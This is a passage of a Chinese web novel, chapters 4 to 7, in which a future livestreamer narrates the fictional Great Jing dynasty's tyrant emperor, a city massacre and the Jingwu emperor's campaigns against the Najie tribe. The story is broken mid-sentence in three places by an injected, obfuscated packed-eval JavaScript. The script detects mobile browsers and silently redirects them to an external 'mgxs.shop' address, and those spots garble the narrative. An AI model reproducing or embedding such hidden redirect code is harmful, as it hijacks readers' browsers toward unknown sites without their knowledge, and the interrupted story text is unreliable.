“翁贤弟,你怎么还有心思想这呢?现在那位柳三柒小姐在天幕上把你刺杀靖厉帝的事情给提前说了出来,你这以后还怎么考取功名啊?有哪个考官敢录用你这样‘无法无天’的读书人?” 听到好友这话,翁诚瑾先是楞了一下,随后,他脸上露出了一个释然的微笑: “若是求取功名无门,我以后去山村乡野开个私塾也行。” 翁诚瑾了解程若萱的性格,他相信程若萱肯定会愿意和他过上那样归隐山林、每日粗茶淡饭的平凡日子。 见翁诚瑾好不容易考到举人,距离功成名就只差一步,却还能那样豁达,邵杭宇不禁也越发敬佩翁诚瑾的真性情。 随即,他的心中更是突然冒出了一个念头,使得他不由眼睛一亮。 邵杭宇先是谨慎地环视了一眼周围,确认无人后,他才按捺着心中的激动,朝翁诚瑾说道: “我猜测,事情说不定也没那么遭!你想想,靖武帝他本来可以袖手旁观,不掺和进你们的事情中,但他偏偏出手帮忙了,可见他这人确实是和寻常皇帝不太一样!” 见翁诚瑾脸上浮现沉思的神情,邵杭宇继续说道: “而且,你还记不记得,那位柳三柒小姐刚才在最开始时,可是将靖武帝他称为传奇圣君!这么至高无上的评价,在经过漫长历史长河的沉淀过后,依然还能得到后人的认可,由此可见靖武帝他有多卓越非凡!所以,若是靖武帝他未来真的有朝一日登基了,那翁贤弟你说不定是真的能够东山再起!” 听完邵杭宇这番话,翁诚瑾也不由觉得好友的分析确实颇有道理。 而且,如果让他来选的话,他现在其实也更想在靖武帝的执政期间出仕。 4. 第 4 章 BY:晋江·丸二缘 天幕上,柳三柒这会已经将话题说回到她前面提及的“举目皆为惊惶客,满城尽是纱遮颜”。 “程若萱和翁诚瑾他们这对未婚小夫妻的遭遇,在当时给整个大靖朝带来了巨大的轰动。大靖朝的社会民风,原本是较为开放的那种,对女子出门的装扮并没有那么多约束。” “可是,在程若萱的事件过后,京师许多女子害怕自己会碰到程若萱那样的悲惨遭遇,但又知道自己无力与靖厉帝那样的暴政皇权抗衡,于是大家在出门时,只好再在自己脸上戴一层遮蔽容颜的面纱。” “而在程若萱这个事件过后,靖厉帝事实上并没有任何想要反省和改变的意思,相反,他甚至是更加地荒淫无度、暴虐无道!” “原本,靖明帝将江山交到他手上时,大靖朝的国库虽然称不上富裕,但也绝对还没到一贫如洗的程度。” “但是,殷睿在登基之后,就开始大兴土木,连年征役,兴建各种华而不实的宫室园林、奇观异景。” “由于他这种挥霍无度、奢靡享乐的生活,民间百姓的日子自然是变得更加疾苦万分,而国库更是开始急速亏空。” “在这种情况下,军费开支自然也就开始出现了拖欠的情况。” “而靖厉帝面对底下将军哭诉军饷不足的奏折,竟然荒唐到反过来责骂那些将军是木鱼脑袋,脑子不晓得转弯!” 天幕上,柳三柒此刻嘴角勾起一抹轻蔑的笑: “如果是不了解靖厉帝这人有多昏庸暴虐的宝子,听到我这么说时,可能还会以为靖厉帝是有什么能够解决军费的好法子。” “但事实上,靖厉帝给那些将领的办法,非常简单,就只有一个字,那就是‘抢’!” “没错,堂堂一个正统帝皇,竟然公然示意底下的将军去纵兵劫掠百姓!” 柳三柒摇头感慨道:“荒唐到殷睿这个程度的君王,在我国古代的历史上,也是屈指可数了!” 天幕下,几位大娘原本正在河边锤洗自家的衣物。 听到柳三柒这些话后,其中有个干瘦矮小的大娘,当即就气得忍不住呸了一声,朝身边的老姐妹们咒骂道: “这个靖厉帝,简直就是丧了良心的畜生!这一桩桩事做的,就没有一件儿是人干得出来的事!” 周围其他几位大娘听到她这话后,也都赞同地忍不住连连点头: “照我说呀,咱们现在这位皇帝老爷还不如直接把皇位交给那位靖武帝继承呢!这上面的后世小姑娘,刚才可是没少夸那位靖武帝好!” “我看这事成,如果换了那位靖武帝,咱们的日子说不定还能过得比现在好一些!” “要是能让咱们顿顿都吃饱饭,偶尔还能买上点肉,那咱这日子可真就是不赖了!” “哎哟喂,你这老婆子,长得挺一般,想的倒是挺美啊!” “那我想想还不行吗?想想又不碍事!” “哈哈哈哈哈,那我就想我家能买得起一头牛,这样地里的活也就能省事一点了。” 几个大娘一边洗着衣服,一边聊起自己对未来日子的盼头。 不过,很快,她们脸上的神色就都因为柳三柒在天幕上所说的话,而重新变得紧张了起来。 “有靖厉帝这样一个昏庸无能的君王,所以大靖被纳桀部落攻破边关镇北城,自然也就不是什么太令人意外的事情了!” “而镇北城被攻破这事,说起来,靖厉帝在这其中,可是帮纳桀部落立下了不小的功劳!” “如果不是因为他信了纳桀部落的和谈谎言,不听从朝臣的劝阻,执意要镇北城的将士打开城门迎接纳桀的和谈使团,那么纳桀的人也没办法那么轻松,就和城外的纳桀骑兵里应外合,然后攻破镇北城,一路挥师南下,直接杀进了京师!” 天幕下,皇宫里,听到纳桀军竟然连京师都攻了下来,即使是心理承受能力颇强的靖明帝,这个时候也被气到忍不住眼前一黑,身体摇晃了一下。 太监总管袁文见状,吓得脸色一白,急忙搀扶住了靖明帝,同时让人赶紧去把太医给喊过来。 好在,靖明帝如今的身子骨确实还算硬朗,所以在缓了一会儿后,他状况立刻就好转了许多。 “而就在大靖即将国破人亡的这个危急时刻,靖武帝亲自率领着一支骁勇善战的虎狼之师,疾驰千里,进京救国!” “也正是因着靖武帝这位猛人击退了纳桀骑兵,逼得他们不得不重新退回北方,整个大靖这才没有因此灭亡!” 天幕下,听到柳三柒这话,无论是靖明帝,还是在场其他朝臣,脑中紧绷的神经这才微微放松了些许。 “不过,纳桀骑兵在撤退之前,却是没有忘记带走他们这一战最大的功臣靖厉帝。” “没错,靖厉帝这个窝囊废,连逃跑都不会,竟然被纳桀那边给俘虏了!” “大家想想也知道,靖厉帝他绝不可能是那种落到敌人的手中后,选择宁死不屈的真英雄。所以,在被纳桀军俘虏期间,靖厉帝对纳桀人的态度,简直就是千依百顺,卑微谄媚到了极点!” “根据史书记载,就连纳桀人故意侮辱他,要求他趴到地上去和野狗争抢食物,他也照做不误,半点没有反抗的意思!” 天幕下,殷睿此刻心中简直是恨极了柳三柒,甚至恨不得可以将柳三柒给碎尸万段。 他觉得自己之所以会陷入此刻这种绝境中,全都是因为柳三柒给害的。 但此时的靖明帝,心中却是充满了后怕,同时又庆幸还好有柳三柒这个从天而降的后人给他提前预知未来。 靖明帝之前一直以为,像他父皇那样,因为信了妖道的话,喊着说要御驾亲征打纳桀部落,但半道却自己被吓得跑路回来,已经是大靖朝有史以来最丢脸的事情了。 可他怎么都没想到,原来他儿子竟然还能够“青出于蓝而胜于蓝”,软骨头到堪称没骨头的程度。 靖明帝此刻甚至都无法理解未来的自己,怎么会把皇位交给殷睿这样离谱的存在。 同时,他心中也忍不住暗暗思索,柳三柒口中的那位靖武帝,到底是何方神圣。 靖明帝在心里谋划着,觉得自己接下来可以直接培养靖武帝,将靖武帝选为他下一任的接班人。 靖明帝这边在心里盘算着各种事情时,天幕上的柳三柒正在给大家介绍靖武帝登基的事情: “靖武帝正是因为抓住了这次进京救国的机会,所以在靖厉帝成为纳桀部落的俘虏后,靖武帝就直接以‘天不可无日,国不可无君’为理由,宣布自己必须得担起这天下的重任了。” “嘿嘿嘿,我们的靖武帝大大就是这样坦荡荡的性子,想要什么从来都是直接说,绝对不遮遮掩掩!” “而纳桀骑兵们之所以将靖厉帝给抓走,当然也并不是因为他们喜欢看靖厉帝这个小丑的笑话。他们纯粹是将靖厉帝看成了一头大肥猪,觉得可以拿靖厉帝作为他们和大靖谈判时的筹码和威慑条件!” “所以,当他们退回到他们已经攻占下来的镇北城时,他们就向大靖朝再次递出了一份和谈协议。纳桀他们这份协议虽然打着和谈的名义,但实际上对大靖而言,就是一份丧权辱国的割地赔款条约。” “纳桀人在协议中狮子大开口,要求大靖必须向纳桀部落上供十万两黄金、三千万两白银、一千万匹布、少女七千人以及壮丁两千人。” “当时纳桀军已经掌控镇北城、碧天城和归云城这三座大靖边城。可狼子野心的他们还是无法满足,所以在协议中,他们甚至还要求大靖必须再割让三座城池给他们当赔礼!” 天幕下,镇北城、碧天城以及归云城这三座被点到名的城池中,老百姓们此刻都神情惶惶地看着天幕。 作为世代都在边城这边生活的人,他们对于纳桀人的凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491281|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残嗜血,早已是了解颇深。 大家简直不敢想象,如果他们的城池沦陷在纳桀人的铁骑之下,那他们未来的日子会变得有多么绝望。 “媳妇,咱们是不是得拾掇拾掇一下,赶紧搬去其他地方啊?” “搬去哪?咱家的地就在这儿,一年到头纯靠地里的粮食养活一家子。咱们要是搬去外地,没田又没钱,我看咱全家能更快饿死!” “这贼老天爷,怎么就是不肯让咱们这些穷人的生活顺当一些呢?” “唉,算了,就这样吧,能活一天是一天,谁叫咱的命不好,认命吧!” 天幕上,柳三柒的声音依然清晰明朗: “对于纳桀人的这个条约,靖武帝自然是不可能松口答应。于是,纳桀人为了逼迫靖武帝低头,就变本加厉地威胁道,说如果靖武帝不签订条约的话,那他们就要斩首靖厉帝,以及对整个镇北城展开屠城的行为。” 天幕下,听到柳三柒这话,大靖朝各地的百姓瞬间一片哗然,其中尤以镇北城的百姓反应最为剧烈。 大家对靖厉帝被斩首这件事,心中没有半点波澜。 谁管靖厉帝这家伙死活啊?! 大家真正在意的,是纳桀人屠城这件事。 此刻,镇北城守城的将士们,一个个更是都感觉自己脸上烧得火辣辣,恨不能找个地洞把自己给埋起来。 虽然柳三柒刚才在天幕上说,镇北城被攻破,主要原因在于靖厉帝,但是,作为负责守卫边关和大靖朝百姓的军人,大家还是对此感到无比羞愧,甚至因此很是内疚,觉得自己应该在纳桀人屠城这事上负责。 “面对纳桀部落开出来的条约和威胁条件,当时的朝堂上自然是议论纷纷,各种意见和看法都有,而其中很多朝臣都被纳桀人给吓破了胆子,极力主张和纳桀人议和。这个所谓的议和,其意思当然就是答应下纳桀部落开出来的天价条约。” “这些人丝毫不考虑以当时大靖的民生国情,如果答应下这个条约,整个大靖的经济会变得多么凋敝衰败。他们一心只想保住自己那荣华富贵的生活,生怕纳桀骑兵再次挥刀从北方杀下来。” “说起来,真是不得不再次感谢那群纳桀人将靖厉帝给带走了。毕竟,如果大靖当时还是靖厉帝执政的话,那靖厉帝绝对会和这群软蛋一拍即合,上赶着就把这卖国条约给签下去。” “然而,众所周知,和靖厉帝不同,咱们的靖武帝是出了名的硬骨头。” “所以,面对纳桀部落开出来的条约和威胁条件,靖武帝的态度自然是极其强硬,直接表示说,纳桀要打就奉陪到底,并且还真的借用突袭和伏击等手段,狠狠给了想要再次进犯大靖的纳桀部落一次痛击!” 天幕下,听到这里时,许多老百姓都忍不住高兴地欢呼了起来,觉得靖武帝真是给大家提气! 包括镇北城的老百姓,此刻许多人脸上也都出现了开心的笑意。 可是,柳三柒接下来说出的话,却让大家脸上的笑容骤然间僵硬住了。 “在靖武帝这边吃了大亏的纳桀部落,自然是不甘心就这么善罢甘休。于是,他们就搬出了他们之前的威胁条件,说因为靖武帝好大喜功,辜负了他们和谈的诚意,所以他们决定对镇北城进行三天三夜的屠城,以此来惩罚靖武帝对纳桀部落的侮辱。” “在纳桀部落对镇北城民众屠城的那三天里,整个镇北城简直化作了人间炼狱般的存在。” “根据史书记载,当时纳桀军在镇北城中杀人如刈麻,臭闻数百里,尸骨堆如山,碧渊化血潭!”* “在镇北城落入纳桀军的魔爪之前,整个镇北城有将近三万人的民众,但等到七年后,靖武帝打跑纳桀军,彻底收复镇北城时,城中的人口却仅剩两千余人。” 天幕下,此刻的镇北城一片死寂,安静到只听得见大家轻微颤抖的呼吸声,以及呼啸而过好似哭啼的凄厉风声。 5. 第 5 章 BY:晋江·丸二缘 “纳桀军对镇北城民众犯下的罪行,极其可恨可恶,用泯灭人性来形容,都丝毫不为过!” “所以,在这之后,当前方将士俘虏了万余名投降的纳桀战俘时,靖武帝直接下令,让将士将那万余名纳桀军人活埋坑杀!” 天幕上,柳三柒这个时候突然冷笑了一声: “靖武帝当时刚在朝堂上宣布这个决定,立刻就有不少大臣跳出来和靖武帝唱反调。有个伪君子高举着‘杀降不祥’的大旗,说上天有好生之德,靖武帝应该对这些纳桀俘虏采用宽仁怀柔的政策,这样更能够彰显靖武帝作为大国之君的仁厚。” “对于这个满嘴仁义道德的伪君子,靖武帝回应的态度就是,直接走到那伪君子面前,狠狠扇了那伪君子一耳光。” “根据很多相关史料记载,对于靖武帝的这一耳光,当时朝堂上的一众大臣们都被惊呆了。毕竟,大家之前也不是没碰到过和靖武帝政见不合的情况,但这是靖武帝头一回对大臣动了手。” “而靖武帝在打完那官员一耳光后,甚至还笑着问那官员说,他现在应该不生气吧,毕竟像他这么善良大度的人,被人打一耳光又不是什么大不了的事情,没必要那么斤斤计较。” 天幕上,柳三柒的直播间弹幕里,此时放眼望去,一片哈哈哈哈狂笑。 【爽!果然还是得用魔法打败魔法!】 【笑死,别说靖武帝要抽那人耳光了,我刚才听三柒说的时候,我都感觉自己手痒难耐了】 【这种大傻叉到底凭什么在朝为官的啊?他口中说着要宽容对待的纳桀人,可是对镇北城的老百姓进行了屠城这样的骇人暴行!那些老百姓甚至都不是军人,而是手无寸铁的平民!】 …… 柳三柒显然也注意到了自己直播间的弹幕,她笑着朝大家说道: “宝子们,大家消消气,因为靖武帝在抽完那人耳光后,就直接罢免了那个官员,让他立刻脱下官服滚回家去。而靖武帝炒他鱿鱼的原因也很直接了当,就是大靖朝不需要他这样只会哗众取宠,但却无法体恤民心的官员!” “不过,也正是因为对纳桀部落的处理方式,靖武帝在历史上一直颇受争议和批评。” “因为,除了下令让将士们坑杀掉那一万多名纳桀战俘外,靖武帝在之后的数十年里,也并没有对纳桀部落手软过,而是采用各种手段,不断将纳桀部落肢解到七零八落。” “最终,在靖武帝的晚年时期,曾经威名赫赫、让人闻风丧胆的纳桀部落,彻底消散在了历史长河中。” 天幕下,皇宫里,就连靖明帝此刻都忍不住为柳三柒的话而心潮澎湃。 作为大靖朝的君王,他当然也知道纳桀部落一直以来都对大靖虎视眈眈,只要一有机会,就会试图从大靖身上狠狠撕咬下一口肉来。 光是他执政的这十八年来,大靖就已经和纳桀部落打过大大小小共二十来次战。 虽说近两年来,纳桀部落的动作看起来比从前安分了不少,但靖明帝却不相信,尝过肉味的鬣狗会有改口吃素的那一天。 靖明帝从前最大的幻想,不过也就是将纳桀部落给彻底打服,让他们再也不敢频频袭扰边城。 可如今,天幕上的柳三柒却告诉他,原来在未来,大靖朝竟还有那么一位帝王,可以彻底将纳桀部落给永除后患。 这一刻,靖明帝的心情真的是激动到了极点,简直是一扫刚才听到殷睿那些事情时的憋火。 天幕上,柳三柒这时却突然拧起眉头,望向了镜头: “我知道,在靖武帝的众多粉丝中,有那么一小部分人,一直觉得靖武帝下令坑杀纳桀战俘以及之后对待纳桀赶尽杀绝的手段过于冷酷,认为这是靖武帝璀璨人生中的一个污点,破坏了靖武帝的圣君光辉形象。” “但事实上,我认为,靖武帝对于自己行为会招来的非议,早就有所预料。” “因为,在靖武帝决定下令坑杀那些纳桀战俘时,就有不少朝臣私下向靖武帝提议,表示说可以由自己来负责推动这事,这样就算有人对这事有看法,也只会将矛头对准身为臣子的自己。” “然而,靖武帝却拒绝了那些人的好意,表示说自己做事问心无愧,更不怕什么流言蜚语,不需要别人来帮自己扛骂名。” “而且,历史上,在确认纳桀部落的最后一支残余势力被彻底打溃后,靖武帝更是直接在朝堂上高兴地表示,说以后纳桀人再也不是大靖朝的后顾之忧了!” 天幕上,柳三柒的话显然引发了直播间里不少网友的感慨,弹幕再次变得热闹非凡: 【呵呵,还是那个问题,难道好人就活该被枪指着吗?那些同情纳桀战俘的人,怎么不先去可怜下几乎被纳桀军人屠杀殆尽的镇北城老百姓?】 【感觉因为纳桀而对靖武帝有意见的人,真的很像是那些口口声声喊着让咱们放下历史包袱,应该要原谅鬼子的傻叉!鬼子到今天都还没承认它们在历史上犯下的那些反人类罪孽,结果现在反倒是要逼着受害者必须善良大度?这世上哪有这样狗屎的事情?!】 【照我看,靖武帝对纳桀的每一个操作,那都是对的不能再对了!伟人曾经说过,打得一拳开,免得百拳来!在靖武帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491282|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没将纳桀部落给打残打废之前,纳桀骑军就是整个大靖朝在北边的最大威胁。但在靖武帝收拾完纳桀部落以后,大靖北边整整太平了近百年,其他部落也因为目睹纳桀人的下场,而纷纷选择归顺大靖朝!】 【说起来,我之前听我历史老师在课上提到过,她说在靖武帝的执政后期,大靖北边那些原本很是穷困的边城,都已经发展成了远近闻名的繁华之城,边境贸易极其活跃,百姓的生活也都非常安定太平!】 【感觉靖武帝的想法,真的就很像是艾教授曾经说过的,“宁背一世骂名,也要让子孙万代享福”!】 …… 天幕下,殷宁看着这些后世网友的讨论,心中也不由对这位靖武帝产生了浓烈的好奇心以及期盼。 殷宁觉得这位靖武帝的处事态度和方法,实在是太对她的胃口了。 不过,让殷宁感到疑惑的是,她刚才在心中盘点了一波她认识的人后,却又发现,似乎没有一个人是能和靖武帝对得上号的。 “人红是非多,像是靖武帝这样的明君典范,在历史圈里,自然也有着不小的黑粉群体。三柒我之前观察过这群人一段时间,然后就发现,他们最喜欢拿出来说嘴靖武帝的,就是镇北城被纳桀军屠城这件事。” “在这群人看来,镇北城被屠城,一半有纳桀军的错,另一半则是靖武帝的锅。” 尽管此刻在直播,柳三柒说到这时,也依然无所顾忌地翻了个大白眼: “是的,宝子们,你们没有听错,在这群神人眼里,靖武帝竟然得为纳桀军屠城这事担一半的责任!” “而他们给出的理由也很可笑,说是因为靖武帝对纳桀军的态度太过强硬,如果靖武帝愿意和纳桀军商量,甚至谈成让步的条件,说不定就能阻止这场屠城的惨祸发生。” “宝子们,咱们暂且抛开纳桀人开出的那天价赔款不谈,就只谈谈纳桀人索要的七千少女、两千壮丁,以及那另外三座被要求割让的城池中的老百姓,他们是不是也是一个个活生生的人类?” 天幕下,明明是柳三柒向直播间网友抛出的问题,但镇北城中的一些人,面上却是不由流露出了羞愧的神色。 虽说人生自古谁无死,但死亡终究是人类共同的恐惧。 所以,刚才在听到纳桀人拿屠城要挟靖武帝签下合约时,有人确实是忍不住在心中想,期盼靖武帝能够顺了纳桀人的意,好保住自己的性命。 可是,他们也很清楚,自己这个想法极其自私卑鄙,属于是为了自己活命,而不顾他人死活。 像靖武帝那样的选择,其实才是合理的举措。 6. 第 6 章 BY:晋江·丸二缘 天幕上,柳三柒看着镜头说道: “很多宝子听到这里时,是不是就认为,靖武帝当时面对的情况,很像是那个经典的列车困境?” “所谓的列车难题,大致意思就是一个疯子将五个人绑在了火车原本要经过的轨道上,然后在另一条轨道上也绑了一个人。这个时候,你可以决定是否改变火车的行进方向,通过牺牲另外那条轨道上的一个人来救下其余五人。” “但事实上,这其实并非列车困境,反而是纳桀部落给靖武帝设下的一个阴险圈套!” “这几年,历史学家们根据最新出土的一批大靖朝史学文献,发现纳桀部落的上层当时早就做好了对镇北城进行屠城的决定。在纳桀人的计划中,他们想要将镇北城打造成他们纳桀部落的军事要塞,所以希望通过屠城这个举措,来减轻他们在镇北城中的统治压力。” “与此同时,他们也打算杀鸡儆猴,通过对镇北城屠城这个行为,来震慑住他们当时占领的那另外两个城池的百姓,使得他们乖乖顺服于纳桀部落的统治。” “所以,无论靖武帝答不答应那份卖国条约,纳桀人都绝不可能放过镇北城的百姓们!” 天幕下,镇北城的老百姓们,这时都被纳桀人的卑鄙无耻给气得忍不住破口大骂,纷纷问候起纳桀人的祖宗十八代。 而在这群情激奋的时刻,一个站在铁匠铺门口的年轻男人,此刻正神色复杂地看着天幕,但慢慢的,他的眼神逐渐变得坚定了起来。 身形瘦弱的他,转过身看向身边的铁匠铺老板,“师父,对不起,我想去参军!” 铁匠铺老板一听,直接当场楞了一下:“参军?” “对!”年轻男人仓促低下头,遮掩住自己此刻忍不住泛红的眼眶,“我之前没跟您说,我爹娘其实是死在纳桀人的马刀下。三年前,我们当时和一支商队搭伙赶路,却在半道上遇到了纳桀人埋伏。我爹娘他们为了让我活命,特意将自己当成了诱饵,帮我引开了那些纳桀骑兵的追捕。” 年轻男人吸了一下自己发酸的鼻子,突然“啪”一下狠狠抽了自己一耳光,他咬紧牙关地说道: “我是个孬种,之前被那群狗东西给吓破了胆子,甚至连提都不敢提他们。可是……我不想再逃下去了!” 年轻男人双眼通红地看着铁匠铺老板,“靖武帝做得对,只有把纳桀人给彻底打残打废,我们才再也不需要因为他们而惊惧到夜不能寐!但这事光靠他一个人,是绝对不成的!我知道我很可能也会死在纳桀人的手中,但就算这样,只要有朝一日可以实现天幕上所说的那些后世盛景,那我也心甘情愿!” “师父,你以后多保重身体,我走了!” 年轻男人说罢后,朝铁匠铺老板深深鞠了一躬,然后转身就要离开。 “等等!” 听到铁匠铺老板这声阻止,年轻男人停住脚步,转头看向铁匠铺老板。 铁匠铺老板走到柜台处,从柜台底下摸出了一个装钱的布袋。 他走回年轻男人面前,将布袋塞进了年轻男人的怀中,“这里面的钱也不多,就两百多文钱,你自己拿去买吃的,努力把身体养好了,这样杀纳桀人也提得上力气!” 年轻男人抱着布袋,双手忍不住紧紧用力,他深吸了一口气,平复下自己胸腔里激荡的情绪后,再次朝铁匠铺老板感激地鞠了一躬。 因为他明白,铁匠铺老板原本可以不用给他这笔钱。毕竟,作为拜师学艺的学徒,他是没有资格问师父领工资的,师父只需要负责为他提供吃住的条件就已经是仁至义尽了。 铁匠铺老板沉重地叹息了一声,他轻轻拍了拍年轻男人的肩头,“小子,活着回来,到时候师父给你找个媳妇,你爹娘在天上也就能安心了。” “好!” 年轻男人抬手用力抹掉眼角涌出的湿润,他转身迈开腿,大跨步地朝前走去。 而在年轻男人离开以后,铁匠铺老板却突然开口道:“人都走远了,再不出来,真就连个背影都看不着了。” 铁建普老板话音刚落,一个年轻女子猛地从连接商铺和后院的门帘后跑了出来。 她站在铺子门口,目光充满留恋地凝望着年轻男子那逐渐离去的背影。 直到年轻男子的身影彻底消失在视线中,她这才不舍地收回了眼神,眼眶通红地望向铁匠铺老板,说道: “爹,他会回来的,对吗?” 铁匠铺老板忧愁地抓了抓头,“这操蛋的世界,谁说得准啊!不过,既然天幕上那位姑娘都说靖武帝可以将那群纳桀狗崽种给收拾得一干二净,那未来说不定也没那么糟糕。” “我要等他回来!”年轻女子声音带着哭腔说道,“他不回来我不嫁!” “唉,等吧等吧,那小子是个肯吃苦耐劳的,跟着他过日子差不到哪里去。” 听到自家父亲这么说,年轻女子倔强的脸上这才露出了一点高兴的笑意。 而此刻在大靖各个边城里面,骤然间涌现出了许多像是那位年轻男子一样的人。 有时候,人就差一个希望,而天幕上柳三柒关于靖武帝的那些剧透,恰巧就让许多与纳桀部落有血海深仇的人,看到了那一抹成功的曙光。 …… 草原上,纳桀部落,营帐外此刻一片寂静,鸦雀无声。 因为就在刚刚,纳桀王因为天幕上的内容而大发雷霆,气到直接抽刀砍死了身边两个婢女。 那两个婢女的尸首虽然已经被人给拖下去了,可她们留在草地上的鲜热血液,却还未干涸。 如果说,最开始听到柳三柒说纳桀部落攻破镇北城,并且一路杀到京师的消息时,纳桀王有多么欣喜若狂,那么在听到纳桀部落被靖武帝给彻底消灭在历史之中时,纳桀王就有多么暴怒和歇斯底里。 一直以来,纳桀王都没有将大靖人给放在眼中。 在他看来,一直喊着什么仁爱教化的大靖人,不过都是一群软弱无能的绵羊,根本比不上他们纳桀人有血性。 可偏偏,就是他看不上眼的大靖人,竟然将纳桀部落给灭掉了。 此刻,纳桀王的心中,甚至隐隐产生了一抹恐惧、甚至是惶然。 “父王,我看这天幕的出现,对咱们纳桀部落而言,反倒是一件大好事!” 突然听到自己的二儿子塞霍克这么说,纳桀王瞬间目光如箭地望向塞霍克。 塞霍克既然敢在此时开口,自然就已经在心中盘算好了说法。 面对纳桀王的注视,他神色不变地开口道:“父王,既然这天幕将那靖武帝说得如此厉害,那只要咱们将靖武帝给除了,势必就会给大靖朝带来巨大的损失!” 纳桀王的几个儿子都并非同胞兄弟,再加上纳桀王如今又已经上了年纪,几个儿子自然也是对纳桀王的位置野心勃勃。 所以,在塞霍克话音刚落下时,纳桀王的大儿子亚顿尼就直接开口呛道: “塞霍克,你这话说得倒是轻巧!暂且不提咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491283|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们现在不知道那个该死的靖武帝到底是谁,就算咱们之后知道了他的身份,要刺杀他又哪有那么容易!咱们纳桀人的长相,一看就和大靖人不一样,根本混不进大靖里面!” 对于亚顿尼跳出来针对自己的这个举措,塞霍克心中早有预料。 他望向亚顿尼,特意提高了自己说话的声音:“大哥你考虑得确实是很周全,正好我之前就已经在大靖朝的京师安插了一些大靖女奴生下来的纳桀人!他们外貌看上去和大靖人一模一样,但却是从小在咱们纳桀部落长大的纳桀人,愿意誓死效忠我们纳桀部落!” 亚顿尼压根没有想到,塞霍克竟然在之前就准备了这么一招,他脸上原本还有些得意的神情,瞬间就变得有点僵硬。 而纳桀王听到塞霍克居然未雨绸缪到这程度,提前在大靖京师安插下了他们纳桀人的钉子,他不禁朗声大笑了起来,甚至高兴到连说了三声“好!好!好!”。 因为怕消息会外泄的缘故,纳桀王直接让塞霍克在这之后再私下到他营帐中商讨这事。 亚顿尼以及其他几位纳桀王的儿子,看到塞霍克显然接下来会得到纳桀王的重用,一时间心中都对塞霍克充满了妒意。 …… “说了这么多,三柒我突然发现,我差点漏掉了一个人物!” “虽然靖厉帝这么一个废物玩意,对于大靖朝而言是过大于过,瑕不掩瑕,但既然想起他了,那就还是顺便也聊一下他吧。”* “宝子们应该还记得,三柒我刚才在提到纳桀人想逼迫靖武帝签订卖国条约时,就有提过一嘴,说纳桀人威胁要斩首靖厉帝的事情。” “但事实却是,纳桀人不仅没有斩首靖厉帝,甚至还在两年之后,特意将他给放了回来!” 天幕下,殷宁一脸震惊地看向重新跪在靖明帝面前的殷睿,声音中充满不可思议: “原来你竟然还没死啊?你怎么好意思不死的呀?” 殷睿听到殷宁这话,忍不住就抬头瞪向殷宁,脸上表情尽是愤慨之色: “殷宁,你不要太过分了!” “我过分?”殷宁诧异地看向殷睿,“你到底哪来的资格说别人过分啊?就你干的那一桩桩破事儿,我要是你,我现在就直接一头撞墙死,绝不活在这世上继续丢人现眼!” 听到殷宁这话,殷睿一夕之间反倒是变得哑口无声,再也硬气不起来。 因为即使到现在,他也依然舍不得自己的小命。 靖明帝只是扫了一眼殷睿,立刻就猜到了殷睿此刻心中的想法。 他面上神色波澜不惊,因为殷睿如今在他心中,已经是和死人没两样了。 靖明帝的注意力,很快就重新转移到天幕上的柳三柒。 “纳桀部落向来不干人事,所以他们主动将靖厉帝放回来,当然不可能是出于什么好心或者善意!” “他们纯粹就是想让靖厉帝这个昏君和靖武帝争夺皇位,借此在大靖朝堂上制造混乱!” 天幕下,靖明帝听到柳三柒这话,不禁皱起了眉头。 作为一个执政多年的君王,他很是清楚地知道,任何一个地方,都绝对不可能是铁板一块。 只要有人的地方,就绝对会有利益冲突和派系争斗。 而靖厉帝的重新回归,确实有可能给靖武帝的统治带来一定的冲击。 此刻,靖明帝想到殷宁刚才对殷睿说的那些话,不由越发觉得殷宁的话有道理。 殷睿他怎么就偏偏没死呢?! 7. 第 7 章 BY:晋江·丸二缘 天幕上,柳三柒看着镜头说道: “应该有很多宝子听过这么一个说法,想要攻破一座堡垒,最好的方式就是从内突破。” “正如纳桀人所期望的那样,靖厉帝的突然回归,给当时的大靖朝堂带来了不小的影响。” “因为即使靖武帝那时已经登基两年,但也一直有人认为其皇位来之不正。而且,因为靖武帝严查贪腐,所以甚至有官员曾经私下表示过,说比起靖武帝而言,还是在靖厉帝时期当官更为舒坦快活。” “所以,当靖厉帝重新回归到大靖之后,就有野心家开始蠢蠢欲动,试图通过支持靖厉帝的方式,来推翻靖武帝的统治。” “然而,在靖武帝重新见到靖厉帝的那一刻,这场二帝同朝的荒唐闹剧,就被雷厉风行的靖武帝给直接画上了句号。” “当时,靖武帝在早朝时,直接宣召了靖厉帝上朝面圣。” 